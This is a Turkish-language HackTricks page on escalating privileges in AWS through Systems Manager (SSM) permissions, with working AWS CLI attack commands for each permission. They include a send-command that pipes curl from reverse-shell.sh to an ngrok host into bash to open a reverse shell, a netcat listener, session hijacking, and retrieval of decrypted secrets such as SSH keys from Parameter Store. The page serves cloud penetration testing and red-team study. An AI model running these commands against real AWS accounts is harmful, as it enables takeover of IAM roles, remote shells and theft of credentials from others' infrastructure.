AWS - SSM Privesc

Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı)!

HackTricks'i desteklemenin diğer yolları:

SSM

SSM hakkında daha fazla bilgi için şuraya bakın:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

ssm:SendCommand iznine sahip bir saldırgan, Amazon SSM Agent çalıştıran örneklerde komutları yürütebilir ve içinde çalışan IAM Rolünü kompromize edebilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Eğer zaten ele geçirilmiş bir EC2 örneği içinde ayrıcalıkları yükseltmek için bu tekniği kullanıyorsanız, rev shell'i yerel olarak yakalayabilirsiniz:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Potansiyel Etki: Çalışan Amazon SSM Ajanlarına sahip EC2 IAM rollerine doğrudan ayrıcalık yükseltme.

ssm:StartSession

İzin ssm:StartSession olan bir saldırgan, Amazon SSM Ajanı çalıştıran örneklerde SSH benzeri bir oturum başlatabilir ve içinde çalışan IAM Rolünü kompromize edebilir.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Oturum başlatmak için SessionManagerPlugin'in yüklü olması gerekmektedir: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Potansiyel Etki: Çalışan örneklerle ilişkilendirilmiş EC2 IAM rollerine doğrudan ayrıcalık yükseltme.

ECS Üzerinden Ayrıcalık Yükseltme

ECS görevleri ExecuteCommand etkin olduğunda, yeterli izinlere sahip kullanıcılar ecs execute-command kullanarak bir komutu konteyner içinde çalıştırabilir. Belgelendirmeye göre, bu, "exec" komutunu başlatmak için kullandığınız cihaz ile SSM Oturum Yöneticisi'ne sahip hedef konteyner arasında güvenli bir kanal oluşturularak gerçekleştirilir. (Bu işlem için SSM Oturum Yöneticisi Eklentisi gereklidir) Bu nedenle, ssm:StartSession iznine sahip kullanıcılar, bu seçenek etkin olduğunda ECS görevlerinin içinde bir kabuk alabilirler, sadece şu komutu çalıştırarak:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Potansiyel Etki: ExecuteCommand özelliğine sahip çalışan görevlere bağlı ECS IAM rollerine doğrudan ayrıcalık yükseltme.

ssm:ResumeSession

İzinlere sahip bir saldırgan, Amazon SSM Ajanı çalıştıran örneklerde bağlantısı kesilmiş bir SSM oturum durumunda bir SSH benzeri oturumu yeniden başlatabilir ve içinde çalışan IAM Rolünü kompromize edebilir.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Potansiyel Etki: Çalışan örneklerle ilişkilendirilmiş EC2 IAM rollerine doğrudan ayrıcalık yükseltme ve SSM Ajanları çalışırken ve oturumlar kesilmişken.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Söz konusu izinlere sahip bir saldırgan, SSM parametrelerini listeleyebilecek ve açık metin olarak okuyabilecektir. Bu parametreler arasında sık ​​sık SSH anahtarları veya API anahtarları gibi duyarlı bilgiler bulunabilir.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Potansiyel Etki: Parametrelerin içinde hassas bilgiler bulunabilir.

ssm:ListCommands

Bu izne sahip bir saldırgan tüm gönderilen komutları listeleyebilir ve umarım bunlarda hassas bilgiler bulabilir.

aws ssm list-commands

Potansiyel Etki: Komut satırlarında hassas bilgiler bulunabilir.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Bu izinlere sahip bir saldırgan, gönderilen tüm komutları listeleyebilir ve umarım hassas bilgileri içeren çıktıları okuyabilir.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Potansiyel Etki: Komut satırlarının çıktısı içinde hassas bilgiler bulunabilir.

Codebuild

Ayrıca SSM'yi kullanarak derlenmekte olan bir codebuild projesine girebilirsiniz:

AWS - Codebuild Privesc
Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'i desteklemenin diğer yolları:

Last updated